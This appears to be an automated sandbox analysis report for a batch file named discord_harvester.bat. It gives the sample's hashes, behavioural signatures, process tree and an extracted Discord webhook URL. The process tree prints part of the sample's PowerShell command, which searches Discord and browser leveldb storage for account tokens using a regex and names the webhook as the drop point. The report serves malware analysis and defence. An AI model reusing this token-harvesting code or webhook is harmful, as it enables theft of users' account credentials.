Resubmissions

13/07/2026, 00:49

260713-a6tzkacv7w10

12/07/2026, 21:52

260712-1rav9ahs6j10

Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • max time kernel
    899s
  • max time network
    844s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/07/2026, 21:52

General

  • Target
    discord_harvester.bat
  • Size 5KB
  • Sample260712-1rav9ahs6j
  • SHA256 0d272697367d570ca1fb189cacc16aa79bfb0fe06d180205af99baa748b35c31
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://discord.com/api/webhooks/1525982232857022567/WO-fX2zqO7S9yZ_WM_tw5rdEURPMDGuW1ofxoq5zDC482Iy8RB_s3jgaNH_AgFcAWGZ_

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 38 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\discord_harvester.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5540
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Enumerates processes with tasklist
      • Suspicious use of AdjustPrivilegeToken
      PID:3264
    • C:\Windows\system32\find.exe
      find /i "svchost.exe"
      2⤵
        PID:4900
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$output='C:\Users\Admin\AppData\Local\Temp\.cache_14991\sys_data.tmp'; $report='C:\Users\Admin\AppData\Local\Temp\.cache_14991\report.txt'; $webhook='https://discord.com/api/webhooks/1525982232857022567/WO-fX2zqO7S9yZ_WM_tw5rdEURPMDGuW1ofxoq5zDC482Iy8RB_s3jgaNH_AgFcAWGZ_'; $computer=$env:COMPUTERNAME; $user=$env:USERNAME; $timestamp=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'; $token_pattern='[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,50}'; $local_db_paths=@( '$env:APPDATA\Discord\Local Storage\leveldb', '$env:APPDATA\DiscordCanary\Local Storage\leveldb', '$env:APPDATA\DiscordPTB\Local Storage\leveldb', '$env:APPDATA\Lightcord\Local Storage\leveldb', '$env:APPDATA\discorddevelopment\Local Storage\leveldb', '$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Local Storage\leveldb', '$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb', '$env:LOCALAPPDATA\Opera Software\Opera Stable\Local Storage\leveldb' ); $found_tokens=@(); foreach ($path in $local_db_paths) { $expanded=[System.Environment]::ExpandEnvironmentVariables($path); if (Test-Path $expanded) { Get-ChildItem $expanded -Filter '*.log' -ErrorAction SilentlyContinue
        2⤵
        • Hide Artifacts: Ignore Process Interrupts
        PID:4848
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:5088
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3356
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:4504
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3928
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3964
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
          PID:3364

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              prep_Activatable Class_Hermes_perf.cache

              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 603B
              • SHA256 b162cad3e5056ed4fc0b7ea8dcb12c1ef3631852158a72df85c1ec280c90ce97
              • MD5 SHA1 SHA512 TLSH

              prep_Activatable Class_Hermes_perf.cache

              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 599B
              • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
              • MD5 SHA1 SHA512 TLSH

              memory/3928-49-0x0000020C94170000-0x0000020C94190000-memory.dmp

              memory/3928-35-0x0000020C82BF0000-0x0000020C82C10000-memory.dmp

              memory/3928-20-0x0000020C82DB0000-0x0000020C82EB0000-memory.dmp

              memory/3928-19-0x0000020C829B0000-0x0000020C829D0000-memory.dmp

              memory/3928-5-0x0000020C801E0000-0x0000020C802E0000-memory.dmp

              memory/3928-3-0x0000020C801E0000-0x0000020C802E0000-memory.dmp